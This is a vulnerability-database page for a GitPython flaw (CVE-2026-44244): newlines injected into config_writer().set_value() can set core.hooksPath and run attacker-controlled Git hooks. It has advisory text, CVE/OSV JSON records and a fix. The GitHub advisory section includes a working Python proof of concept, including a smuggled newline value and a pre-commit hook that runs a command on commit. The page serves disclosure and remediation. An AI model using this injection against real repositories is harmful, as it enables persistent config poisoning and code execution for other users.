Vulnerability-Lookup

PYSEC-2026-2163

Vulnerability from pysec - Published: 2026-05-07 19:16 - Updated: 2026-07-13 05:48

Details

GitPython is a python library used to interact with Git repositories. Prior to version 3.1.49, GitConfigParser.set_value() passes values to Python's configparser without validating for newlines. GitPython's own _write() converts embedded newlines into indented continuation lines (e.g. \n becomes \n\t), but Git still accepts an indented [core] stanza as a section header — so the injected core.hooksPath becomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path. This issue has been patched in version 3.1.49.

Severity

7.8 (High)


                  
                    CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Impacted products

Name	purl
gitpython	pkg:pypi/gitpython

Aliases

JSON

To clipboard

{
  "affected": [
    {
      "ecosystem_specific": {},
      "package": {
        "ecosystem": "PyPI",
        "name": "gitpython",
        "purl": "pkg:pypi/gitpython"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.49"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.1.7",
        "0.2.0-beta1",
        "0.3.0-beta1",
        "0.3.0-beta2",
        "0.3.1-beta2",
        "0.3.2",
        "0.3.2.1",
        "0.3.2.RC1",
        "0.3.3",
        "0.3.4",
        "0.3.5",
        "0.3.6",
        "0.3.7",
        "1.0.0",
        "1.0.1",
        "1.0.2",
        "2.0.0",
        "2.0.1",
        "2.0.2",
        "2.0.3",
        "2.0.4",
        "2.0.5",
        "2.0.6",
        "2.0.7",
        "2.0.8",
        "2.0.9",
        "2.0.9.dev0",
        "2.0.9.dev1",
        "2.1.0",
        "2.1.1",
        "2.1.10",
        "2.1.11",
        "2.1.12",
        "2.1.13",
        "2.1.14",
        "2.1.15",
        "2.1.2",
        "2.1.3",
        "2.1.4",
        "2.1.5",
        "2.1.6",
        "2.1.7",
        "2.1.8",
        "2.1.9",
        "3.0.0",
        "3.0.1",
        "3.0.2",
        "3.0.3",
        "3.0.4",
        "3.0.5",
        "3.0.6",
        "3.0.7",
        "3.0.8",
        "3.0.9",
        "3.1.0",
        "3.1.1",
        "3.1.10",
        "3.1.11",
        "3.1.12",
        "3.1.13",
        "3.1.14",
        "3.1.15",
        "3.1.16",
        "3.1.17",
        "3.1.18",
        "3.1.19",
        "3.1.2",
        "3.1.20",
        "3.1.22",
        "3.1.23",
        "3.1.24",
        "3.1.25",
        "3.1.26",
        "3.1.27",
        "3.1.28",
        "3.1.29",
        "3.1.3",
        "3.1.30",
        "3.1.31",
        "3.1.32",
        "3.1.33",
        "3.1.34",
        "3.1.35",
        "3.1.36",
        "3.1.37",
        "3.1.38",
        "3.1.4",
        "3.1.40",
        "3.1.41",
        "3.1.42",
        "3.1.43",
        "3.1.44",
        "3.1.45",
        "3.1.46",
        "3.1.47",
        "3.1.48",
        "3.1.5",
        "3.1.6",
        "3.1.7",
        "3.1.8",
        "3.1.9"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44244",
    "GHSA-v87r-6q3f-2j67"
  ],
  "details": "GitPython is a python library used to interact with Git repositories. Prior to version 3.1.49, GitConfigParser.set_value() passes values to Python\u0027s configparser without validating for newlines. GitPython\u0027s own _write() converts embedded newlines into indented continuation lines (e.g. \\n becomes \\n\\t), but Git still accepts an indented [core] stanza as a section header \u2014 so the injected core.hooksPath becomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path. This issue has been patched in version 3.1.49.",
  "id": "PYSEC-2026-2163",
  "modified": "2026-07-13T05:48:53.766548Z",
  "published": "2026-05-07T19:16:02.357Z",
  "references": [
    {
      "type": "FIX",
      "url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.49"
    },
    {
      "type": "EVIDENCE",
      "url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-v87r-6q3f-2j67"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

CVE-2026-44244 (GCVE-0-2026-44244)

Vulnerability from cvelistv5 – Published: 2026-05-07 18:22 – Updated: 2026-05-09 03:56

Title

GitPython: Newline injection in config_writer().set_value() enables RCE via core.hooksPath

Summary

Severity

7.8 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

SSVC

Exploitation: poc Automatable: no Technical Impact: total

CISA Coordinator (v2.0.3)

CWE

CWE-94 - Improper Control of Generation of Code ('Code Injection')

Assigner

GitHub_M

References

2 references

URL	Tags
https://github.com/gitpython-developers/GitPython…	x_refsource_CONFIRM
https://github.com/gitpython-developers/GitPython…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
gitpython-developers	GitPython	Affected: < 3.1.49

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-44244",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-05-08T00:00:00+00:00",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-09T03:56:04.115Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-v87r-6q3f-2j67"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "GitPython",
          "vendor": "gitpython-developers",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 3.1.49"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "GitPython is a python library used to interact with Git repositories. Prior to version 3.1.49, GitConfigParser.set_value() passes values to Python\u0027s configparser without validating for newlines. GitPython\u0027s own _write() converts embedded newlines into indented continuation lines (e.g. \\n becomes \\n\\t), but Git still accepts an indented [core] stanza as a section header \u2014 so the injected core.hooksPath becomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path. This issue has been patched in version 3.1.49."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "LOCAL",
            "availabilityImpact": "HIGH",
            "baseScore": 7.8,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-94",
              "description": "CWE-94: Improper Control of Generation of Code (\u0027Code Injection\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-07T18:22:39.704Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-v87r-6q3f-2j67",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-v87r-6q3f-2j67"
        },
        {
          "name": "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.49",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.49"
        }
      ],
      "source": {
        "advisory": "GHSA-v87r-6q3f-2j67",
        "discovery": "UNKNOWN"
      },
      "title": "GitPython: Newline injection in config_writer().set_value() enables RCE via core.hooksPath"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-44244",
    "datePublished": "2026-05-07T18:22:39.704Z",
    "dateReserved": "2026-05-05T16:33:55.844Z",
    "dateUpdated": "2026-05-09T03:56:04.115Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

GHSA-V87R-6Q3F-2J67

Vulnerability from github – Published: 2026-05-06 21:58 – Updated: 2026-05-08 21:52

Summary

GitPython: Newline injection in config_writer().set_value() enables RCE via core.hooksPath

Details

GitConfigParser.set_value() passes values to Python's configparser without validating for newlines. GitPython's own _write() converts embedded newlines into indented continuation lines (e.g. \n becomes \n\t), but Git still accepts an indented [core] stanza as a section header — so the injected core.hooksPath becomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path.

The vulnerability is not merely malformed config output: GitPython's own writer converts embedded newlines into indented continuation lines, but Git still accepts an indented [core] stanza as a section header, so the injected core.hooksPath becomes effective configuration.

This was found while auditing MLRun's project.push() method, which passes author_name and author_email directly to config_writer().set_value() with no sanitization. Both parameters cross a trust boundary — they are caller-supplied API inputs that end up in .git/config.

PoC (standalone, no MLRun required):

import git, subprocess, os

repo = git.Repo("/tmp/testrepo")

with repo.config_writer() as cw:
    cw.set_value("user", "name", "foo\n[core]\nhooksPath=/tmp/hooks")

r = subprocess.run(["git", "config", "core.hooksPath"], cwd="/tmp/testrepo", capture_output=True, text=True)
assert r.returncode == 0
print(r.stdout.strip())  # /tmp/hooks

os.makedirs("/tmp/hooks", exist_ok=True)
open("/tmp/hooks/pre-commit", "w").write("#!/bin/sh\nid > /tmp/pwned\n")
os.chmod("/tmp/hooks/pre-commit", 0o755)

repo.index.add(["README"])
repo.git.commit(m="test")
print(open("/tmp/pwned").read())  # uid=...

Tested on GitPython 3.1.46, git 2.39+.

Impact: This is persistent repo config poisoning. Any user who can supply author_name or author_email to an application calling config_writer().set_value() can redirect Git hook execution to an arbitrary path. In a multi-user or hosted environment (e.g. a shared MLRun server where multiple users push to the same repositories), one user can poison the .git/config of a shared repo and have their hooks run in the context of every subsequent Git operation by any user. On single-user deployments, the impact depends on whether the application later invokes Git hooks automatically.

Remediation: set_value() should raise on CR, LF, or NUL in values rather than silently pass them through:

import re

if isinstance(value, (str, bytes)) and re.search(r"[\r\n\x00]", str(value)):
    raise ValueError("Git config values must not contain CR, LF, or NUL")

Rejecting is safer than stripping — a stripped newline might indicate the caller is passing unsanitized input at a higher level, and silent normalization masks that.

Affected wherever config_writer().set_value(section, key, user_input) is called with external input.** GitPython is a dependency of DVC, MLflow, Kedro, and others — worth auditing their set_value() call sites for externally influenced inputs.

Severity

7.8 (High)


                  
                    CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.1.48"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "GitPython"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.49"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44244"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-06T21:58:00Z",
    "nvd_published_at": "2026-05-07T19:16:02Z",
    "severity": "HIGH"
  },
  "details": "`GitConfigParser.set_value()` passes values to Python\u0027s `configparser` without validating for newlines. GitPython\u0027s own `_write()` converts embedded newlines into indented continuation lines (e.g. `\\n` becomes `\\n\\t`), but Git still accepts an indented `[core]` stanza as a section header \u2014 so the injected `core.hooksPath` becomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path.\n\nThe vulnerability is not merely malformed config output: GitPython\u0027s own writer converts embedded newlines into indented continuation lines, but Git still accepts an indented `[core]` stanza as a section header, so the injected `core.hooksPath` becomes effective configuration.\n\nThis was found while auditing MLRun\u0027s `project.push()` method, which passes `author_name` and `author_email` directly to `config_writer().set_value()` with no sanitization. Both parameters cross a trust boundary \u2014 they are caller-supplied API inputs that end up in `.git/config`.\n\nPoC (standalone, no MLRun required):\n\n```python\nimport git, subprocess, os\n\nrepo = git.Repo(\"/tmp/testrepo\")\n\nwith repo.config_writer() as cw:\n    cw.set_value(\"user\", \"name\", \"foo\\n[core]\\nhooksPath=/tmp/hooks\")\n\nr = subprocess.run([\"git\", \"config\", \"core.hooksPath\"], cwd=\"/tmp/testrepo\", capture_output=True, text=True)\nassert r.returncode == 0\nprint(r.stdout.strip())  # /tmp/hooks\n\nos.makedirs(\"/tmp/hooks\", exist_ok=True)\nopen(\"/tmp/hooks/pre-commit\", \"w\").write(\"#!/bin/sh\\nid \u003e /tmp/pwned\\n\")\nos.chmod(\"/tmp/hooks/pre-commit\", 0o755)\n\nrepo.index.add([\"README\"])\nrepo.git.commit(m=\"test\")\nprint(open(\"/tmp/pwned\").read())  # uid=...\n```\n\nTested on GitPython 3.1.46, git 2.39+.\n\nImpact: This is persistent repo config poisoning. Any user who can supply `author_name` or `author_email` to an application calling `config_writer().set_value()` can redirect Git hook execution to an arbitrary path. In a multi-user or hosted environment (e.g. a shared MLRun server where multiple users push to the same repositories), one user can poison the `.git/config` of a shared repo and have their hooks run in the context of every subsequent Git operation by any user. On single-user deployments, the impact depends on whether the application later invokes Git hooks automatically.\n\nRemediation: `set_value()` should raise on CR, LF, or NUL in values rather than silently pass them through:\n\n```python\nimport re\n\nif isinstance(value, (str, bytes)) and re.search(r\"[\\r\\n\\x00]\", str(value)):\n    raise ValueError(\"Git config values must not contain CR, LF, or NUL\")\n```\n\nRejecting is safer than stripping \u2014 a stripped newline might indicate the caller is passing unsanitized input at a higher level, and silent normalization masks that.\n\nAffected wherever `config_writer().set_value(section, key, user_input)` is called with external input.** GitPython is a dependency of DVC, MLflow, Kedro, and others \u2014 worth auditing their `set_value()` call sites for externally influenced inputs.",
  "id": "GHSA-v87r-6q3f-2j67",
  "modified": "2026-05-08T21:52:28Z",
  "published": "2026-05-06T21:58:00Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-v87r-6q3f-2j67"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44244"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/gitpython-developers/GitPython"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.49"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "GitPython: Newline injection in config_writer().set_value() enables RCE via core.hooksPath"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

PYSEC-2026-2163

CVE-2026-44244 (GCVE-0-2026-44244)

GHSA-V87R-6Q3F-2J67

Tags

Sightings

Nomenclature